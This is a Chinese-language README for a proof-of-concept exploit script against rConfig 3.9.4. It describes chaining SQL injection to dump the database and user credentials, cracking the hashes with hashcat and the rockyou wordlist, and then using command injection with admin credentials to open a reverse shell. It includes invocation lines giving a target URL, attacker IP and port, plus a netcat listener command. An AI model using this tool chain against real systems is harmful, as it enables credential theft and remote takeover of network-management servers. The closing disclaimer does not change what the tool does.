rConfig 3.9 组合SQL注入与命令注入PoC

概述

该PoC针对rConfig版本3.9.4，演示了通过SQL注入和远程命令注入漏洞的组合利用。它自动化了以下过程：

1. 通过SQLi提取数据库名称
2. 从数据库转储用户凭据
3. 尝试使用hashcat配合rockyou字典和best64.rules规则破解密码哈希
4. 可选地，利用破解的管理员凭据，通过搜索功能上的命令注入执行远程命令执行（RCE）

此脚本基于并整合了两个原始PoC：

• 48208.py（SQL注入）作者：vikingfr
• 48241.py（命令注入）作者：Matthew Aberegg 和 Michael Burkey

它被修改以自动化破解和可选的shell生成。

要求

• Python 3
• requests库（pip install requests）
• hashcat已安装并可通过命令行访问
• rockyou.txt字典（或等效文件）位于/usr/share/wordlists/rockyou.txt
• hashcat规则文件/usr/share/hashcat/rules/best64.rule

用法

仅转储用户和哈希：

python3 rConfig_rce.py https://target

转储用户、破解密码并尝试RCE（需要攻击者IP和端口用于反弹shell）：

python3 rConfig_rce.py https://target attacker_ip attacker_port

备注

• 如果hashcat无法破解密码，脚本建议使用在线破解服务，例如CrackStation。
• 如果密码哈希无法自动破解，系统将提示您手动输入明文密码以进行RCE尝试。
• 脚本优先使用admin帐户进行命令注入阶段。
• 确保在攻击者机器上运行监听器（例如nc -lvnp 80）来捕获反弹shell。

免责声明

此工具仅供授权的安全测试和教育目的使用。未经许可对系统进行未授权使用是违法且不道德的。